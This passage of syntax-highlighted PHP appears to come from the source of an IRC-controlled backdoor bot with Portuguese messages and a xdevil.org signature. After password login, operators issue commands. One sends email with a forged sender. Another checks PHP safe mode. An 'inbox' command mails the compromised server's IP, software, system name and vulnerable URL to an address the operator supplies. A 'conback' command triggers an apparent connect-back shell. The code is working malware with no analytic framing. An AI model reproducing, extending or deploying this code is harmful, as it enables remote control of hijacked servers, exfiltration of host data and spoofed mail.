&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">log_in</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">notice</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>Auth<span style="color: #660099; font-weight: bold;">\2</span>]: Senha errada <span style="color: #006699; font-weight: bold;">$nick</span> idiota!!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">is_logged_in</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>1<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;restart&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">send</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;QUIT :restart commando from <span style="color: #006699; font-weight: bold;">$nick</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">conn</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;mail&quot;</span><span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">//mail to from subject message </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;</span>4<span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$header</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;From: &lt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&gt;&quot;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/mail"><span style="color: #990000;">mail</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>3<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>4<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$header</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>mail<span style="color: #660099; font-weight: bold;">\2</span>]: Impossivel mandar e-mail.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>mail<span style="color: #660099; font-weight: bold;">\2</span>]: Mensagem enviada para <span style="color: #660099; font-weight: bold;">\2</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\2</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;safe&quot;</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/ini_get"><span style="color: #990000;">ini_get</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;safe_mode&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/ini_get"><span style="color: #990000;">ini_get</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;safe_mode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;on&quot;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$safemode</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;on&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$safemode</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;off&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>safe mode<span style="color: #660099; font-weight: bold;">\2</span>]: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$safemode</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;inbox&quot;</span><span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">//teste inbox</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$token</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/uniqid"><span style="color: #990000;">uniqid</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/rand"><span style="color: #990000;">rand</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$header</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;From: &lt;inbox&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$token</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;@xdevil.org&gt;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/php_uname"><span style="color: #990000;">php_uname</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$b</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/getenv"><span style="color: #990000;">getenv</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SERVER_SOFTWARE&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$c</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/gethostbyname"><span style="color: #990000;">gethostbyname</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;HTTP_HOST&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/mail"><span style="color: #990000;">mail</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;InBox Test&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;#crew@corp. since 2003<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>ip: <span style="color: #006699; font-weight: bold;">$c</span> <span style="color: #000099; font-weight: bold;">\n</span>software: <span style="color: #006699; font-weight: bold;">$b</span> <span style="color: #000099; font-weight: bold;">\n</span>system: <span style="color: #006699; font-weight: bold;">$a</span> <span style="color: #000099; font-weight: bold;">\n</span>vuln: http://&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SERVER_NAME'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REQUEST_URI'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>greetz: wicked<span style="color: #000099; font-weight: bold;">\n</span>by: dvl &lt;admin@xdevil.org&gt;&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$header</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>inbox<span style="color: #660099; font-weight: bold;">\2</span>]: Unable to send&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>inbox<span style="color: #660099; font-weight: bold;">\2</span>]: Message sent to <span style="color: #660099; font-weight: bold;">\2</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\2</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;conback&quot;</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;</span>2<span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">conback</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>2<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;dns&quot;</span><span style="color: #339933;">:</span> <br />
